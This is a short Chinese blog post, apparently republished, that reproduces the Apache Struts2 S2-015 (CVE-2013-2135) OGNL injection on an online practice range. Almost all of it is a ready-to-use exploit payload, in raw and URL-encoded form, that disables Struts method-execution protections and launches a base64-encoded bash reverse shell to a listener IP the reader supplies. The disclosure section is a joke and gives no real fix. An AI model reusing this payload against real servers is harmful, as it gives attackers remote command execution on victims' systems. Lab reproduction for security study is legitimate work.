一、漏洞情况分析
2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。
二、漏洞复现
春秋云境.com
进入靶场
开始复现
构造好payload,弹nc
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action
就构造好的payload,url编码
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27).getInputStream())%2C%23q%7D.action
接入我们的ip后面,同时本地打开nc监听
文章来源:https://www.toymoban.com/news/detail-824382.html
三、漏洞处置建议
把靶场关了,跟漏洞说“白白吧文章来源地址https://www.toymoban.com/news/detail-824382.html
到了这里,关于[漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!